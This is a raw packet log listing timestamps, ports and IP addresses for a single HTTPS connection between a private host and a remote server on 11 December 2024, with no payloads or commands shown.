Dec 11, 2024 12:30:43.834654093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.834685087 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.834850073 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.835283995 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.835334063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.835443020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.835489988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.835505009 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.835669994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.835669994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.835669994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.836863995 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.836922884 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.837246895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.837246895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.837285042 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.837439060 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.838723898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.838774920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.838910103 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.839090109 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.839090109 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.839091063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.839109898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.839282990 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.839755058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.839806080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.840116024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.840116024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.840147018 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.840307951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.841711998 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.841768980 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.842066050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.842067003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.842097044 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.842295885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.842592955 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.842641115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.842730999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.842865944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.842892885 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.843214035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.844393969 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.844445944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.844753027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.844753981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.844753981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.844753981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.844805002 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.845132113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.845381975 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.845443964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.845786095 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.845786095 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.845786095 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.845786095 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.845822096 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.845947027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.846138954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.847109079 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.847161055 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.847464085 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.847464085 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.847491980 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.847702026 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.848660946 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.848712921 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.848862886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.848862886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.848901033 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.849046946 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.849046946 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.849232912 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.850089073 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.850147963 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.850444078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.850444078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.850478888 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.850684881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.850950956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.851036072 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.851121902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.851305008 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.851335049 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:43.851495028 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:43.900806904 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.027236938 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.027245998 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.027806044 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.027811050 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.027998924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.028448105 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.028455973 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.028604031 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.028786898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.028786898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.028791904 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.029025078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.029335022 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.029341936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.029675007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.029675007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.029683113 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.029866934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.031090021 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.031097889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.031323910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.031555891 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.031559944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.031846046 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.032175064 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.032186031 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.032330990 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.032510996 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.032516956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.032702923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.033791065 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.033799887 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.033946991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.033946991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.034131050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.034131050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.034131050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.034137011 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.034318924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.034785032 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.034794092 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.035228968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.035234928 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.035408974 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.035602093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.035603046 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.035608053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.036060095 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.036065102 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.037084103 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.037091017 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.037436008 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.037436008 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.037436008 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.037445068 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.038022995 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.038031101 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.038373947 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.038383007 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.039139032 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.039146900 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.039689064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.039694071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.040690899 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.040698051 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.041105986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.041105986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.041105986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.041114092 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.041398048 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.042155981 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.042162895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.042500973 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.042501926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.042507887 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.043423891 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.043431997 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.043775082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.043775082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.043781042 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.043967009 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.044200897 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.044209003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.044359922 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.044359922 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.044367075 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.044555902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.044555902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.044555902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.045880079 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.045886993 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.046283007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.046283960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.046291113 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.047375917 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.047386885 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.047534943 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.047544003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.047725916 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.047725916 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.047734976 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.047920942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.047920942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.048017025 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.055623055 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.055630922 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.055736065 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.055767059 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.055813074 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.055813074 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.055813074 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.055813074 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.055821896 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.055993080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.055993080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.055993080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.055993080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.055993080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056099892 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.056107044 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.056184053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056191921 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.056376934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056376934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056376934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056376934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056376934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056376934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056376934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056385994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.056567907 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056571007 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.056613922 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056613922 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056621075 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.056809902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056809902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056809902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056809902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056809902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.056991100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.057197094 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.057204008 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.057466030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.057646036 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.057648897 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.057828903 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.058021069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.058207989 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.058214903 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.058547974 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.058553934 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.058933020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.059812069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.059820890 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.059961081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.060143948 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.060151100 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.060336113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.060774088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.060782909 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.061116934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.061121941 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.061356068 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.062439919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.062452078 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.062787056 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.062792063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.062977076 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.062977076 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.063448906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.063458920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.063663006 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.063668966 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.063848972 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.064033031 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.064838886 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.064846992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.065171957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.065171957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.065179110 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.065366983 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.065994024 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.066000938 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.066334009 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.066334009 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.066342115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.066570997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.067351103 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.067359924 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.067627907 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.067992926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.067996025 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.068279028 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.068316936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.068325996 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.068641901 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.068641901 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.068727970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.068732023 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.069092989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.069961071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.069968939 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.070116997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.070297003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.070303917 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.070492983 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.071043015 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.071049929 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.071396112 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.071396112 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.071402073 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.071780920 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.072191954 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.072200060 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.072350979 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.072534084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.072537899 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.072774887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.073543072 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.073549986 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.073879957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.073879957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.073885918 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.074265003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.075221062 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.075229883 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.075640917 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.075870037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.075874090 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.076251984 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.076481104 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.076489925 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.076638937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.076819897 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.076819897 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.076827049 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.077012062 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.077853918 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.077863932 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.078013897 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.078192949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.078192949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.078192949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.078203917 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.078432083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.079031944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.079040051 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.079497099 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.079497099 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.079502106 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.079876900 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.080558062 CET	443	49763	172.67.128.139	192.168.11.30
